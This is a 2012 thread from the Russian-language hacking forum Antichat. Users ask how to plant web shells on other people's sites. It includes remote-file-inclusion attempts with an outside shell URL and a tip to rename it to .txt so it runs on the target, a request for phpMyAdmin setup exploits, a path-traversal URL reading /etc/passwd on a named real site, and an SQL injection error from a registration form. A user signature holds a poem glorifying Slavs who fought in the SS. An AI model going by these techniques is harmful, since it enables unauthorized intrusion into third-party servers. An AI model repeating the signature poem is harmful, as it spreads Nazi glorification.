ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
15.03.2012, 02:43
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210
Репутация:
2017
|
|
Сообщение от Spunoff
Spunoff said:
site.com/page.php=about.php выдаёт about.php на сервере
site.com/page.php=http://shell.com/shell.php показывает шелл но на моём же хосте
Можно как-то залить шелл на site.com?
скорее всего это просто ифрейм а не инклуд
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
|
|
|
15.03.2012, 04:00
|
|
Guest
Сообщений: n/a
Провел на форуме:
9938
Репутация:
0
|
|
Теперь я знаю какой код на странице
т.е это получается инклуд всё-таки...но почему он при
site.com/page.php=http://shell.com/shell.php показывает шелл, но на моём же хосте?
Подскажите плиз как залить шелл сюда?
register_globals=Off
|
|
|
|
15.03.2012, 04:31
|
|
Guest
Сообщений: n/a
Провел на форуме:
142623
Репутация:
19
|
|
Сообщение от None
показывает шелл, но на моём же хосте?
Скорее всего потомучто выполняеться на твоем хосте?
Переименуй из php в txt и проверь.
|
|
|
|
15.03.2012, 05:04
|
|
Guest
Сообщений: n/a
Провел на форуме:
9938
Репутация:
0
|
|
mironich спасибо, помогло
|
|
|
|
15.03.2012, 10:46
|
|
Guest
Сообщений: n/a
Провел на форуме:
1293
Репутация:
0
|
|
Есть на одном сайте phpMyAdmin 2.11.11.3 c не потертым сетапом.
Есть ли возможность получить доступ к бд или залить шелл?
Все-таки версия старая, да и /scripts/setup.php доступен, но эксплойты найти не могу. В базах эксплойтов ничего нет, да и активное гугление не помогло.
Есть ли вообще известные уязвимости под эту версию?
|
|
|
|
15.03.2012, 12:23
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме:
835386
Репутация:
1463
|
|
Сообщение от JorryGo
JorryGo said:
Есть на одном сайте phpMyAdmin 2.11.11.3 c не потертым сетапом.
Есть ли возможность получить доступ к бд или залить шелл?
Все-таки версия старая, да и /scripts/setup.php доступен, но эксплойты найти не могу. В базах эксплойтов ничего нет, да и активное гугление не помогло.
Есть ли вообще известные уязвимости под эту версию?
https://rdot.org/forum/showpost.php?p=13736&postcount=6
при mq=off и PHP
|
|
|
|
15.03.2012, 12:54
|
|
Guest
Сообщений: n/a
Провел на форуме:
344922
Репутация:
75
|
|
Сообщение от Faaax
Faaax said:
попробуй слешей ставить 4064 или также но такихже слешей с точкой примерно так меня выручало /./.[4064]./
а какми образом я так окончание отброшу? чёт я недопёр, покажи пример плыз
|
|
|
|
15.03.2012, 13:18
|
|
Guest
Сообщений: n/a
Провел на форуме:
195266
Репутация:
53
|
|
Сообщение от qaz
qaz said:
а какми образом я так окончание отброшу? чёт я недопёр, покажи пример плыз
/thread98525.html
|
|
|
|
15.03.2012, 13:22
|
|
Guest
Сообщений: n/a
Провел на форуме:
344922
Репутация:
75
|
|
Сообщение от Melfis
Melfis said:
/thread98525.html
блин я же написал
Сообщение от None
народ а тут, нужно отсеять окончание, нул байт не помогает
http://proeveryday.ru/index.php?id=../etc/passwd%00
тут читал /thread98525.html но нифига неполучилось, мб недопонял
подскажите как правильно
|
|
|
|
15.03.2012, 13:34
|
|
Новичок
Регистрация: 08.06.2009
Сообщений: 2
Провел на форуме:
16143
Репутация:
0
|
|
подскажите, есть регистрация на сайте,одно из полей не фильтруется, что можно сделать?
ввел например туда '1 и он ошибку вывел
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1', ''1', '0',0)' at line 1
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
